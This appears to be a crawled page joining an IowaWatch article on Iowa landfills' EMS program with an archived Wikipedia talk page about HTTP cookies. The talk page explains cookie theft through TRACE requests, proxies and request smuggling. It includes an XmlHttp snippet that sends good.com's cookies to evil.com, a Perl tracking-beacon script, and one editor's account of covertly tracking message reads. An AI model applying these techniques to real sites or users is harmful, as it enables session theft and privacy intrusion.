text:
A promising new program may be the key to pushing Iowa's landfills into action that decreases the environmental impact of their operations.
The program, called Environmental Management System, or EMS, focuses on six specific ways to reduce what we dump into the ground as waste.
But participation in the program, which signifies a switch from an outdated planning process that credits landfills only for diverting materials from landfills, has been slow. Only nine of Iowa's 50 landfills have enrolled, an IowaWatch investigation found.
That may have to change soon because landfill operators are under increasing government pressure to reduce negative environmental effects. The Iowa Department of Natural Resources is planning a marketing push, while some landfill officials are predicting stricter U.S. Environmental Protection Agency standards for dealing with greenhouse gas emissions.
The six categories EMS tabs for achievement are: recycling services, greenhouse gas reduction, water quality improvement, yard waste/composting management, hazardous household waste management and environmental education. Contributing landfills submit to the DNR yearly reports that show efforts being made in each category, set future goals and outline ways the landfill can meet them.
"It is more than just about what's being landfilled. It's about the environment," Brian Tormey, the recently retired DNR land quality bureau chief who was instrumental in promoting the program.
"People have this mindset with waste that, once I'm done with it, it just goes away," Kurt Liske, Waste Commission of Scott County communications director, said. "There's a lot of stuff that happens once it leaves your hands."
Landfills achieving EMS goals gain more than just a smaller carbon footprint. The DNR reduces the fee they pay the state for each ton of refuse entering the facilities.
A pilot EMS program began at six Iowa landfills in 2009. Four years later, enrollment has grown to these nine:
n Cass County Environmental Control Agency, Atlantic.
n Cedar Rapids/Linn County Solid Waste Agency, Cedar Rapids-Marion.
n Dubuque Metropolitan Area Solid Waste Agency, Dubuque.
n Metro Waste Authority, Mitchellville.
n Rathbun Area Solid Waste Commission, Centerville.
n Waste Commission of Scott County, Davenport.
n South Central Iowa Solid Waste Agency, Tracy.
n Northern Plains Regional Landfill, Graettinger.
n Iowa City Landfill and Recycling Center, Iowa City.
Operators of many more landfills stand watching from the sideline, waiting to be convinced that the program has benefits.
"We do not see any direct benefits to joining the EMS system," Robert Glebs, chief executive officer of Iowa Waste Systems, said.
His company manages Iowa's second-largest waste agency, Mills County Landfill, and the Montgomery County Landfill in western Iowa.
"It is a paperwork burden and not useful to Iowa Waste Systems," he said.
Operators at the Iowa City Landfill and Recycling Center can relate. The landfill is Iowa's most recent to begin practicing the new system. Landfill officials were hesitant to jump on board before joining in March 2012. Environmental management representative Brooke Butler said they didn't think they had enough employees, plus, the idea of tracking efforts and introducing new programs seemed daunting.
Almost a year into the program, Butler considers herself a strong EMS supporter.
"A lot of times we plateau, and sometimes it's hard to keep moving forward," she said. EMS "was really valuable in continuing to set objectives."
Response from other participating landfills also has been positive.
Cedar Rapids-Linn County Solid Waste Agency operators discovered, for example, that EMS went hand-in-hand with what they already were doing, communications director Joe Horaney said.
One positive result, landfill operators who spoke with IowaWatch said, has been finding ways to manage gas and liquid waste.
Organic material, which makes up about a quarter of what people toss out in Iowa, lets off the powerful greenhouse gas methane when it decomposes underground. Even closed landfill cells that no longer accept refuse continue to vent the potent gas.
If precautions aren't taken, these landfill emissions could contribute to global warming by lingering in the atmosphere and trapping heat waves, Eugene Takle, a professor of atmospheric science at Iowa State University, said.
Brian Harthun, an experienced landfill engineer in Cedar Rapids, calls greenhouse gases the biggest concern with landfills. Harthun is senior project manager for Foth Engineering, a landfill consulting company that helps landfills develop and maintain safe and economical operations.
One process used to get rid of methane emissions is burning what remains from waste piles. Flaring destroys 98 percent of the harmful gases but also turns the methane into another greenhouse gas — carbon dioxide. While still harmful to the environment, carbon dioxide is about 20 times less potent than methane.
Another method turns waste gas into energy. At the Cedar Rapids/Linn County Solid Waste Agency, a new on-site generator will transfer captured methane to electricity. Horaney expects this to produce 1.6 megawatts of energy per hour, which will be used to power about 1,000 homes in Linn County.
Despite advancements in greenhouse gas management, some landfills still have no process for dealing with methane emissions. That is the case at the Mills County Landfill, which has experienced rapid growth since opening in 1972. In the past 10 years alone, its waste has more than doubled, resulting in its climb to second largest in the state in terms of refuse intake.
Another area of concern with landfills is water quality. Leachate, the waste liquid that settles to the bottom of landfill cells, has the potential to contaminate surrounding groundwater without proper liners.
"The state has a water quality problem already," Scott Spak, assistant director of environmental policy at the University of Iowa Public Policy Center, said. "So, if leachate starts leaking into the groundwater and contaminating rivers and streams, then it's a problem."
Long gone are the days when Iowans dumped their trash in city dumps, often situated along waterways. Back then, nothing separated garbage from the porous earth beneath it.
The most difficult of the six EMS categories to manage, landfill operators who spoke with IowaWatch said, are yard waste and composting.
Menning said it boils down to the landfill costs of expanding gas collection systems but also to customers who would have to pay more to compost organic matter than to dump it.
One business dumping at Metro Waste avoids high composting costs by dehydrating food waste before bringing it to the landfill. Removing the liquid weight breaks down one week of food scraps to the size of one trash can and the sawdust-like substance does not contribute to methane production. But dehydrators are too expensive for most restaurants, and Metro Waste officials say the landfill doesn't have funds to consider installing one.
Linn County's landfill has an entire site dedicated to composting. The Czech Village location on A Street in Cedar Rapids combines yard waste from curbside collection with organic matter to create compost. One business taking advantage of this is Walmart, which contributes its old produce to the composting process.
EMS participants are encouraged to reach the public through education efforts.
The Dubuque Metropolitan Area Solid Waste Agency is attempting to increase waste diversion by 2 percent annually with an awareness program. The Dubuque City Council this month approved a pilot program that will assess garbage and recycling for 400 to 600 households for an entire year.
Paul Schultz, the city's resource management coordinator, said this will allow families to measure themselves against other residents and, if the program continues, against their own recycling levels of years past. Beyond making residents more aware of what they're tossing, Schultz said incentives eventually will be considered.
David Osterberg, a clinical professor of occupational and environmental health at the University of Iowa, said that of all environmental fixes, recycling seems tangible.
"Little kids can talk about it: 'Don't throw something there, throw it there,'" Osterberg said. "You don't have to have a degree to understand that."
(This project was produced by Iowa Center for Public Affairs Journalism-IowaWatch.org, a nonprofit, online news website dedicated to collaborating with Iowa news organizations to produce explanatory and investigative work.)


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Technical Specifications:
Comes with:
Visit the FAQ's for more information

subset: commoncrawl


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text:
Talk:HTTP cookie/Archive 2
- 1 Contradicting REST?
- 2 Small correction
- 3 Removed from article
- 4 HttpOnly
- 5 Break out "alternatives" section into another article?
- 6 Inadequate example?
- 7 Todo
- 8 Not always sent by server first
- 9 Still don't understand 3rd party cookies
- 10 window.name is cross browser !
- 11 Odd Comment
- 12 References Out of Context
- 13 Subjective Phrase in Cookie Poisoning
- 14 Auth Schemes Confused
- 15 Number of Cookies Supported is not Listed for Safari 3
- 16 0.9 Mosiac Netscape Release Date
- 17 Security Concerns
- 18 Alternatives (server side sessions)
- 19 Replace all images of cookies with text
- 20 Why is expires so stupid?
- 21 The name "cookie"
- 22 dead link
- 23 Structured client-side storage
- 24 References need improving
- 25 Basket section and security
- 26 how can i stop cookies?
- 27 Article moved to Cookie (browser)
- 28 Ambiguity of the term "cookie"
- 29 Name in Britain
- 30 XMLHTTPRequest
- 31 Third-Party Cookies
- 32 Spoken Wikipedia recording
- 33 Permissions
- 34 Debunk: "Cookies are files", "Cookies are stored as plain text", "Cookies are text files"
- 35 Debunk: "Cookies are stored on a user's computer hard drive"
- 36 DART cookie
- 37 Where are they?
- 38 secure cookies & MITM
- 39 European Law
- 40 Super Cookies
- 41 Misleading first paragrpah?
- 42 session cookies - some browsers will not delete them
- 43 Inconsistent support by devices - mobile cookies
- 44 Size & quantity limitations
- 45 Privacy and third-party cookies
Contradicting REST?[edit]
This section below implies REST requires reversible state, and that the "back button" should reverse resource state. Does anybody have a citation that supports these claims? A better example is a multi-step form. If they are on step 5 and press the "back button" they should be able to return to step 4. However, these doesn't necessarily reverse form state. The form might still have fields in step 5 that persist with user data. This doesn't violate REST and reduces the amount of data a user needs to re-enter.
"As an example, if the shopping cart of an online shop is realized using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This inconsistency contradicts the principles of Representational State Transfer (REST), and can lead to unreliability, confusion and bugs." —Preceding unsigned comment added by 184.108.40.206 (talk • contribs) 16:28, 11 July 2007
- Indeed, a citation would be in order. If not provided, I'd remove that statement. Tizio 11:48, 12 July 2007 (UTC)
The article cited in the section Drawbacks of cookies doesn't support the the statement that "[cookies] are at odds with REST". The statement should be removed, or reworded to clarify. From the cited article:
Cookies are a sure sign that something is not RESTful. Right? No; not necessarily. ... If a cookie is used to store some information, such as an authentication token, that the server can validate without reliance on session state, cookies are perfectly RESTful...
Small correction[edit]
Ok first time i edit a page and add a comment but there was a mistake in the "Implementation section" where it was written that the server first send "Set-Cookie: name=value\nContent-type: text/html\n\n", the fact is, and we clearly see it on "example of an HTTP response from google.com, which sets a cookie with attributes" that the server first send the "Content-type: ..." and after the "Set-cookie : ..." line.
Removed from article[edit]
I removed this:
- Another drawback of query strings has to do with the way the Web was designed. URLs should point to resources and be "opaque". See Representational_State_Transfer. If you have a URL that includes a query string, it is not the actual location of the resource.
This seems to imply that query strings are not to be used altogether, not that they cannot be used in place of cookies. Is this correct? Please clarify and/or provide citations. Tizio 16:04, 17 November 2006 (UTC)
Found this list of browser supporting this feature http://greebo.net/?p=364 as of August 2006. It's not a good idea to specify this in the article yet, since it appears that this list would change over time. Tizio 17:01, 17 November 2006 (UTC)
Break out "alternatives" section into another article?[edit]
I'm wondering if the "Alternatives" section should be broken out into another article, possibly combining it with parts of web bugs, internet privacy, e-mail tracking, website tracking, etc. While cookies are still very common, they really have become just one of many tracking techniques which all have very similar privacy problems. Wrs1864 21:51, 19 December 2006 (UTC)
- Website tracking seems unrelated, as far as I can see. But I see your point. Just do not restrict to tracking, since actually what is done is to create state information that is maintained across different HTTP exchanges. Any idea as for the name that article should have? Tizio 14:46, 20 December 2006 (UTC)
- Still better, you may start creating that other article (possibly taking material from this and the other articles you mentioned); we will then see how to summarize the "alternatives" section in this article. Tizio 15:08, 20 December 2006 (UTC)
Inadequate example?[edit]
The following is given as a practical example of "persistent cookies": "If the cookie setter does not specify a date, the cookie is removed once the user quits his or her browser. As a result, specifying a date is a way for making a cookie survive across sessions. For this reason, cookies with an expiration date are called persistent. As an example application, a shopping site can use persistent cookies to store the items users have placed in their basket. This way, if users quit their browser without making a purchase and return later, they don't have to find the products they previously placed in the shopping cart over again." Am I missing something, or does this example apply to non-persistent cookies too, and thus makes a poor choice for distinguishing between the two? —The preceding unsigned comment was added by 188.8.131.52 (talk) 14:08, 25 January 2007 (UTC).
- A non-persistent cookie is one with no expiration date specified, so they expire when the session ends (user quits the browser). Since this part is at the beginning of the article, I added a sentence to say what happens if non-persistent cookies were used in this context. Tizio 14:39, 25 January 2007 (UTC)
- Thank you Tizio, but now take a look at the last two sentences of that paragraph. The first one says that you *don't* want to find your items in the basked when you get back. The one you added says that you do want, and that's precisely what persistent cookies are for. The problem seems to be with the first line, or maybe I'm really dense today. --184.108.40.206 17:21, 25 January 2007 (UTC)
- Now I get what the problem is. I wasn't the original author of that sentence, but my take has always been that "they don't have to find the products they previously placed in the shopping cart over again" means "they do not have to look around again to fill the shopping cart with the same items". You made me realize that this sentence is also compatible with the opposite interpretation! Tizio 17:55, 25 January 2007 (UTC)
- Aahhh that makes sense! It's perfect now :-) --188.8.131.52 21:33, 25 January 2007 (UTC)
Something to be added to the article, when completed [1]. Tizio 12:30, 27 December 2006 (UTC)
A way to circumvent the HttpOnly restriction is to exploit
TRACE requests. When an HTTP server receives such a request, it echoes the HTTP header parameters back as a document. As an example, if a server receives the following request:
TRACE / HTTP/1.1 Host: www.example.com Cookie: thisisacookie
It may answer with something like the following header and document:
HTTP/1.1 200 OK Date: Wed, 27 Dec 2006 12:17:20 GMT Server: Ciccio/2.0.49 (CiccioLinux) Transfer-Encoding: chunked Content-Type: message/http
46 TRACE / HTTP/1.1 Host: www.example.com Cookie: thisisacookie 0
The resulting document contains the header of the request it has received, including the cookies.
A JavaScript program can exploit this fact by sending a
TRACE request to a server that serves
TRACE requests. When it does it, the browser includes the cookies in the request as usual. While the script does not have access to these cookies directly, it can read them in the resulting document. This attack does not require the script to be present on the same server whose cookies has to be stolen. It however requires this server to support HTTP trace requests [2].
Proxying/Virtual domain[edit]
A different kind of cross-side scripting relies on the fact that some servers provide documents that are actually located on sites that are different than the requested one. This happens for proxies and when mutiple sites are hosted on the same server. These attacks do not require the script to be located on either the attacker or the attacked sites.
For the proxy-based attack, a script can pretend to connect to site
good.com while the proxy actually send it to
This instruction contains a request to the site
good.com, including the cookies for
good.com. However, the proxy server receives
GET\thttp://evil.com, which causes it to sent the whole request, including the cookies, to
A similar method employing
XmlHttp requires the attacked and attacker sites to be hosted on the same server (virtual hosting). When a script executes the following:
XmlHttp.open("GET","http://good.com",false); XmlHttp.setRequestHeader("Host","evil.com");
a request for
good.com is created. This request includes the header line
Host: evil.com. When the server receives this request, it routes it to
evil.com, which then receives the cookies intended for
good.com. [3]
Request smuggling[edit]
Request smuggling exploit different behavior on a proxy and a server when receiving a request with two
Content-length lines, in particular if the proxy uses one line and the server the other one. In this attack, the browser sends what the browser and proxy believes to be a single request, but the server interprets as two ones. What the browser receives is the concatenation of the results of these two requests from the server:
Header-1 Body-1 Header-2 Body-2
Not always sent by server first[edit]
I think this is a very good article, but the first sentence: "HTTP cookies ... are parcels of text sent by a server to a web browser and then sent back unchanged by the browser each time it accesses that server." is slightly misleading: it implies that cookies can only be created on the server and the first cookie movement is always server to client.184.108.40.206 18:27, 30 March 2007 (UTC)
- You are indeed right: nothing prevents a piece of, say, js code to create a cookie on the client side. However, I think the server sending the cookie first is by far the most common scenario. Even when the cookie is in a piece of javascript code or similar, it's usually still the server that sends it (even if embedded in the code). The exception you are probably referring is when the js actually calculates (in some way, even randomly) the value of the cookie to send.
- Given that, I would rather left the lead as is, or with a minimal change (such as, "cookies are parcels of data exchanged by a web server and browser; they are generally sent by the server to the browser, and handed back by the browser in the following exchanges". Tizio 20:17, 30 March 2007 (UTC)
Having read this article, how does a 3rd party cookie get set by a server when a banner ad is requested: after all this is just a request for an image: no script is being executed on the 3rd party server. 126.96.36.199 18:27, 30 March 2007 (UTC)
- The server can execute whatever code it wants when receiving whatever request, including the request of an image. What in the article leads to thinking otherwise? I'm asking so that we could maybe correct the misleading part. Tizio 20:41, 30 March 2007 (UTC)
- well as the article says: "The Set-Cookie line is typically not created by the HTTP server itself but by a CGI program." so does the request for the image trigger a CGI program which inserts a cookie into the response headers accompanying the image? I think I'm just confused about the mechanics.184.108.40.206 18:33, 31 March 2007 (UTC)
- Just because a URL ends in .gif or .png etc., the server can still invoke another program to serve it (rather than looking for a file). Tizio 08:54, 2 April 2007 (UTC)
- So would the cookie typically be sent back in the response headers accompanying the banner image?188.8.131.52 11:04, 6 April 2007 (UTC)
- Yes. Tizio 11:29, 6 April 2007 (UTC)
- Okay, it's like this: The server receives a request for '/notreallyimages/beacon.gif'. The server has been configured to treat anything in /notreallyimages as a script *regardless of extension* (remember, extensions only really make any difference to Windows, grown-up operating systems have other mechanisms for determining file type). As a result, in the /notreallyimages/ directory there is a perl CGI script that says something like:
- Yes. Tizio 11:29, 6 April 2007 (UTC)
- So would the cookie typically be sent back in the response headers accompanying the banner image?22.214.171.124 11:04, 6 April 2007 (UTC)
- Just because a URL ends in .gif or .png etc., the server can still invoke another program to serve it (rather than looking for a file). Tizio 08:54, 2 April 2007 (UTC)
- well as the article says: "The Set-Cookie line is typically not created by the HTTP server itself but by a CGI program." so does the request for the image trigger a CGI program which inserts a cookie into the response headers accompanying the image? I think I'm just confused about the mechanics.18.104.22.168 18:33, 31 March 2007 (UTC)
use CGI(); my $cgi = new CGI; my $cookie = $CGI::Cookie->new(-name => 'visitor', -value => $unique_id, -expires => '+20y', -path => '/', -domain => ".$dom"); print $cgi->header(-cookie => $cookie, -type => 'image/gif'); open GIF "/webimages/trans.gif"; print <GIF>; close GIF; exit;
- Of course, it's really easy, if someone wanted to, to do crap like include a query string, or make a mod_perl handler that deals with ANY request to /notreallyimages/ to run a specific set of code, for instance. That's how spammers sneak crap into emails to validate them (and why not looking at emails that you don't trust is a good idea, or at least not loading images). They can set a cookie, mark your address valid... doesn't even have to be in an obvious way. Perhaps any request to /images/ runs a script that takes the requested image name and maps it to an email address (at which point the name of the image is usually some sort of checksum for the email address itself, plus an extension to make all browsers happier). Luckily, email clients are getting smarter to this sort of rubbish and it's getting harder and harder for the scammerspammers to get anything. But yeah, I've used the same exact technique for another reason -- to determine if someone in a forum on a server that wasn't mine had read a message I'd sent (even works with BBCode at that point) -- and even then to make my website behave differently based on whether thay had or not (like I could send an invitation for a download of something I'd normally sell and not even have to set up login info for them, stuff like that).22.214.171.124 (talk) 02:48, 3 March 2008 (UTC)
window.name is cross browser ![edit]
According to the article, window.name doesn't work in Firefox. To my knowledge, it is not true. I use this trick every day, and every browser I've tried are quite happy with it. So window.name is cross-domain AND cross-browser. —The preceding unsigned comment was added by 188.8.131.52 (talk) 09:19, 31 March 2007 (UTC).
- Maybe older versions of mozilla/firefox don't support this persistence method. Also, the new reference mention safari, firefox, and ie, which suggests that it doesn't work on every possible browser. Tizio 10:21, 31 March 2007 (UTC)
Odd Comment[edit]
Under the Purpose heading in the article there is a comment 'Alex savage likes to eat lot of cookies.' I don't believe it belongs here, but will let someone else make the modification to the article. Robert Peaslee 14:39, 25 April 2007 (UTC)
References Out of Context[edit]
In the Realization section, there are two references that should not be included. "Cookie specifications[3][4] suggest that browsers should support a minimal number of cookies or amount of memory for storing them." "Cookie names are case insensitive according to section 3.1 of RFC 2965"
Those quotes were used in the context of this list of web browsers:
* Firefox 1.5: 50 * Firefox 2.0: 50 * Safari 3 public beta * Opera 9: 30 * Internet Explorer 6: 20 * Internet Explorer 7: 20
This is very misleading because cookies, as defined in [4] RFC 2109 and RFC 2965, are not supported by Firefox or Internet Explorer. Those two browsers only support the obsolete description in [3] Preliminary spec. Miqrogroove 08:05, 24 July 2007 (UTC)
Subjective Phrase in Cookie Poisoning[edit]
Under the heading Cookie Poisoning there is this misleading statement, "... all the other information is stored on the server. In this case, the problem of cookie poisoning is largely eliminated." I would say that is not true. Moving information to the server side without additional checks on the cookie value leads to a security flaw called session fixation. As such, cookie poisoning is not at all eliminated. Miqrogroove 08:13, 24 July 2007 (UTC)
Auth Schemes Confused[edit]
This paragraph is incorrect:
"As for authentication, the HTTP protocol includes mechanisms, such as the digest access authentication, that allow access to a Web page only when the user has provided the correct username and password. ... In the background, the username and password combination is sent to the server in every browser request. This means that someone listening in on this traffic, can simply read this information and store for later use."
The Digest scheme of HTTP Authentication does not send passwords to the server. Under RFC 2617, Digest responses 'stored for later use' are not valid. "The purpose of this directive is to allow the server to detect request replays... If a directive or its value is improper, or required directives are missing, the proper response is 400 Bad Request." Miqrogroove 08:25, 24 July 2007 (UTC)
- Yes, that part ("in the background...") indeed applies to the basic authentication protocol. Tizio 13:02, 24 July 2007 (UTC)
Number of Cookies Supported is not Listed for Safari 3[edit]
Even though some commentators have issues with the whole section, the number of cookies supported for Safari 3 is missing:
* Firefox 1.5: 50 * Firefox 2.0: 50 * Safari 3 public beta * Opera 9: 30 * Internet Explorer 6: 20 * Internet Explorer 7: 20 —Preceding unsigned comment added by Kolenskim (talk • contribs) 20:56, 5 September 2007 (UTC)
0.9 Mosiac Netscape Release Date[edit]
A previous version of the article mentions a Sept. 1994 release date for the 0.9 beta (I think it referenced Kristol's article at footnote 2), which has now been replaced in the article with an Oct. 13, 1994 release date backed by footnotes 18 and 19. I've been told there was an earlier release of the 0.9 beta in the Sept. 94 timeframe, like a limited release to an outside company for testing. Anyone have a footnote worthy article or any other info to back this up?
Patjz1 23:53, 11 October 2007 (UTC)
Security Concerns[edit]
After reading this article, I was disappointed that despite being a featured article, it does not touch on any of the recent highly-publicized security and privacy concerns around the use of cookies. I've had a go at rectifying this - please help to expand. Socrates2008 12:02, 7 November 2007 (UTC)
Alternatives (server side sessions)[edit]
In the topic "Alternatives to cookies", it is not cited the Java Servlet's "server side sessions".
Turn loading images off on your browser when reading this article and you will see how frustrating it certainly is for some users who can't see images.
Cookies are text items. Just include them in-line, indented with a space! Jidanni (talk) 12:13, 14 February 2008 (UTC)
- The only cookie I can see is placed as an image is Image:HTTP-Cookie-Google.png, and it's there mostly for breaking the flow of text (it was used at the beginning of the article because that was required to articles that have to be shown in the main page). The other images contains more than just a cookie. Tizio 12:31, 14 February 2008 (UTC)
Why is expires so stupid?[edit]
Does anyone know why they decided on a format like:
Sun, 27-Feb-2028 01:57:10 GMT
for the expiry of a cookie? Why is it neceesary to have to calculate the day of week in English to make a cookie's expiry valid? What moron came up with this idea?
Seriously, wouldn't:
make more sense? Why should it matter to a web browser whether the 13th of December, 1998 is a Saturday, in English?188.8.131.52 (talk) 02:56, 3 March 2008 (UTC)
- The format of the date in the original cookie standard conforms to RFC 1123 date format and is used in the same way in other locations within the HTTP 1.0 spec which pre-dated cookies, such as the Date: and Expires: header. Note that subsequent cookie standards define an alternative way to specify date, as a "max-age" in seconds rather than a date. mmj (talk) 04:10, 18 November 2008 (UTC)
How did the name "cookie" come about? This should be in the article. Also, some history as to how the concept came to be. Bytebear (talk) 23:55, 24 March 2008 (UTC)
I left the following comment in the corresponding article on Magic cookie.
- It may be derived from the concept of "Cookie In The Cookie Jar" - You fill a cookie jar with various cookies, and as needed, cookies are taken out to be eaten. Certain people will eat certain cookies, as certain websites will use certain cookies. Cookie snacks eventually expire, as they go stale; just as website cookies eventually expire, as they have no more meaning or use. Someone may save a cookie in the cookie jar (or temporary internet files) to come back to it later. Websites save their cookies to come back to it later, when needed. - DJJD - 184.108.40.206 (talk) 01:37, 22 September 2009 (UTC)
- It comes from the term Magic cookie...which really just pushes the question back to where did the use of the word "cookie" in "magic cookie" come from. There is some discussion of it here, though I don't think there is a definitive conclusion.--Ericjs (talk) 20:47, 7 October 2010 (UTC)
Actually, there is...there was a gag program that people were passing around...I think it precedes timesharing, but at any rate, you'd sit down at your computer terminal and be confronted with the text, "GIVE ME A COOKIE". Nothing you could do would fix it -- it neatly trapped all interrupt characters -- the only way out, short of rebooting, was to type in the word "COOKIE". AH, here's a good discussion of it. --jpgordon::==( o ) 05:14, 29 April 2011 (UTC)
dead link[edit]
http://wp.netscape.com/newsref/std/cookie_spec.html (third ref) is a dead link. --Caerbannog (talk) 10:40, 3 August 2008 (UTC)
How about http://web.archive.org/web/20060318102926/wp.netscape.com/newsref/std/cookie_spec.html from Wayback? 188.8.131.52 (talk) 15:27, 4 August 2008 (UTC)
Structured client-side storage[edit]
What about Structured client-side storage that has been in Firefox since version 2?--220.127.116.11 (talk) 11:03, 6 August 2008 (UTC)
References need improving[edit]
There are many sections of this article that are uncited. Two of the links are dead. Also, there are external links within the body of the article which are not allowed by WP:MOS and WP:EL. Please fix article so it can remain a FA. Regards, —Mattisse (Talk) 00:15, 28 October 2008 (UTC)
Basket section and security[edit]
I removed (well, modified) the following section under 'Basket', referring to storing shopping cart contents in a cookie:
- This is a very insecure mechanism[citation needed], because a malicious user can alter the cookie; a much more secure mechanism is to generate a random cookie as under "tracking", and using that as a lookup key in a database stored on the server.
While tampering with cookies by the user is an issue that can cause problems in some applications, this is not one of them. A user tampering with such a cookie would at most be able to add or remove items from their cart. It is not insecure in that the user cannot modify other people's carts or cheat the system in any way. A server would need to validate the cookie to verify that the cookie refers to actual products that are available, but that sort of thing falls under validation of input and is not specifically related to cookies. A server that does not validate its input has security problems in its own right and this is outside the scope of this article. mmj (talk) 01:53, 10 November 2008 (UTC)
i am afraid
please respond
Mike881270 (talk) 21:29, 13 November 2008 (UTC)
Turn your computer off, or assimilate. Not much else to be done about them. —Preceding unsigned comment added by 126.96.36.199 (talk) 19:17, 14 February 2009 (UTC)
over nine thousand —Preceding unsigned comment added by 22.214.171.124 (talk) 01:04, 11 April 2009 (UTC)
what's the nine thousand? and mike, well, i did gather from this article Opera lets you block 3rd party cookies, balanced by how is this browser about the other vulnerabilities tho? article omits if any? discussion of using anti-"malware" (nuetral term nowadays?) countermeasures, like internet security software bundles (suites) unless i missed it. Appropriate to the scope of this article? not sure, but since trend is trackers, at least, using alternatives to cookie methods, persistently updating various security measures, your os (s), your security software, and your browser updates is frequently advised. Which one tho? finding out who has users, consumer interests starting with searching on at minimum, consumer reports. I put this in Talk since it's a POV, so's yours. the article helpfully points up in cases, the method you connect as pertinent . On safari 4, and other browsers also in Preferences you can block cookies except for sites you "visit" --but it still seems its possible to be hijacked to a site--correct me, experts, even by inadvertently passing your cursor over some pixels, not even clicking, let alone double clicking? one can shop and bank offline or on trusted by many sites;; depending on how, could be saferFairlylowtekk (talk) 18:06, 17 June 2009 (UTC)
Article moved to Cookie (browser)[edit]
I have boldly moved this article to "Cookie (browser)". My rationale to do so is as follows. WP:COMMONNAME suggests that we use the most common English name for a topic as the article's title. Based on a review of reliable sources, the most common name for this type of cookie is "cookie", after making it clear that we are referring to a computing topic, and not edible cookies. After "cookie", there are other terms such as "browser cookie", "computer cookie", tracking cookie", and "web cookie" that are used to avoid confusion with the type of food.
A quick Google search shows the following: (Of course this is by no means a reliable source or conclusive evidence, but does provide some reasonable information that we can use for further research.)
Number of results for different search terms.
"browser cookie" 240k "browser cookies" 926k "computer cookie" 54k "computer cookies" 584k "tracking cookie" 200k "tracking cookies" 267k "web cookie" 23k "web cookies" 156k "internet cookie" 49k "internet cookies" 189k "http cookie" 139k "http cookies" 139k "web browser cookie" 20k "web browser cookies" 31k
Now getting on to reliable sources, we can see from this New York Times site search that they use the term "cookie" to refer to this subject, as does the Washington Post, LA Times, Business Week, PC World, BBC News etc. So, "cookie" is the most common term for this topic. I've added " (browser)" at the end to disambiguate with Cookie, per WP:NCDAB. According to that last guideline I cited (WP:NCDAB), Browser cookie would also be an acceptable name for the article as another name for the item that is equally clear and unambiguous. — LinguistAtLarge • Talk 17:34, 1 May 2009 (UTC)
It seems to me that the term "cookie" has a couple of common overlapping senses.
- An entire string as in the HTTP headers seen by server.
- An incomplete string as seen via scripting languages such as JavaScript's document.cookie which has information such as expiry removed.
- Individual name-value pairs
It seems that these name-value pairs are sometimes what is referred to by "cookie" whereas other times more specific terms are coined partly avoid ambiguity with either flavour of entire string. Such terms include at least "cookiecrumb" and "subcookie".
This ambiguity should be addressed in the article by somebody who fully understands the situation.
Also can there be multiple Cookie: or Set-Cookie: fields per HTTP header? If so does each field refer to a cookie or a name value pair?
For people that always use the term "cookie" to refer to a single name-value pair, is there a commonly used unambiguous term to refer to the entire string as seen by the server or JavaScript/DOM document.cookie? — Hippietrail (talk) 02:50, 19 June 2009 (UTC)
Name in Britain[edit]
What is an HTTP cookie called in Britain?? Doctorfluffy (wanna get fluffed?) 16:16, 26 June 2009 (UTC)
- As a lifelong resident of Great Britain, I almost exclusively hear it just called a cookie. To be honest I wonder whether "HTTP cookie" is the best name for this article, even though it may be technically correct. Maybe something like "Cookie (computing)" would be better, as they may be most commonly known just as cookies. leevclarke (talk) 15:22, 29 October 2009 (UTC)
- @Leevclarke, that's exactly what I was just about to suggest. I live in Britain too, adn I only ever hear them called cookies. Dyed Purple (Boo! Happy Halloween! Talk to me here...) 15:05, 31 October 2009 (UTC)
- In Australia, where the food called cookie in America is here callled biscuit, HTML cookies are called cookies. — Hippietrail (talk) 00:56, 22 December 2009 (UTC)
In England, we call them cookies, which avoids confusion with anything edible of British origin. 184.108.40.206 (talk) 18:25, 3 January 2010 (UTC)
It is not supposed to be 'cookies'. It is cuckoo's. As in cuckoo's egg. It is a foreign piece of code, not used by your computer but used by others. Like the cuckoo's egg. Foreign in the nest. — Preceding unsigned comment added by 184.108.40.206 (talk) 02:42, 24 July 2013 (UTC)
At the end of "Cookie theft", "XMLHTTPRequest" should presumably be "XML HTTP request", since "XMLHTTPRequest" is not a normal English word or well-known acronym, and is neither in a code element nor correspondingly cased. 22.214.171.124 (talk) 18:30, 3 January 2010 (UTC)
- I'm pretty sure this is a reference to XMLHTTPRequest so I have now linked to it. Barrylb (talk) 02:29, 4 January 2010 (UTC)
Third-Party Cookies[edit]
I just edited the information about 3rd party cookies, the previous explanation was not very good. I was made aware of this section because someone asked me to explain third-party cookies to them and I told them to read the wikipedia article. They came back to me, told me they read it, and were still confused. :) I've been in this industry since 1996 so I thought I'd provide a better explanation.
To explain some of my specific edits:
- The fact about IE6 and leashing is not appropriate in this article. There are dozens of notable quirks about the way each different browser handles 3rd party cookies, but quirks like these are beyond the scope of this article.
- Browsers include 3rd party cookies, and they have them enabled by default, for good reason! The layman should understand both the good and the bad of what enabling 3rd party cookies makes possible. The previous version of this section focused only on the bad. —Preceding unsigned comment added by Krschacht (talk • contribs) 01:50, 12 January 2010 (UTC)
- I edited this section to improve it's tone to make it more consistent with the rest of the article & wikipedia —Preceding unsigned comment added by Krschacht (talk • contribs) 22:37, 19 January 2010 (UTC)
- There were good privacy reasons for both of the RFCs on cookies to require compliant browsers to turn off third-party cookies by default. Your assertion that they "make lots of functionality in the web possible" is unsubstantiated. As Kristol's ACM article clarifies, it is only an advertising business model which is aided by third-party cookies, not web functionality. I've removed that text --NealMcB (talk) 05:27, 22 August 2010 (UTC)
Spoken Wikipedia recording[edit]
Hey all, I just updated my Wikipedia Spoken audio recording to reflect changes that were made since April 2009. Please let me know if I've mispronounced anything! :-) --Mangst (talk) 00:04, 25 January 2010 (UTC)
- I've updated the Wikipedia Spoken audio recording. Please let me know if there are any mistakes. --Mangst (talk) 22:14, 26 September 2010 (UTC)
I remain convinced that managing cookie permissions seems to be the one thing most users would like to do. It is only mentioned in one place in the article. Why is this? Mydogtrouble (talk) 19:03, 8 February 2010 (UTC)
What do you mean by cookie permissions? Universalss (talk) 00:59, 9 February 2010 (UTC)
Keep in mind that this is a "what" article about the HTTP cookie, not a "how" manual on managing their permissions. It keeps to the facts, to let users decide if they wish to manage the permissions their own way. WikiWilliamP (talk) 13:39, 9 February 2010 (UTC)
Debunk: "Cookies are files", "Cookies are stored as plain text", "Cookies are text files"[edit]
Erroneous claims about cookies being plain text files keep appearing in this article.
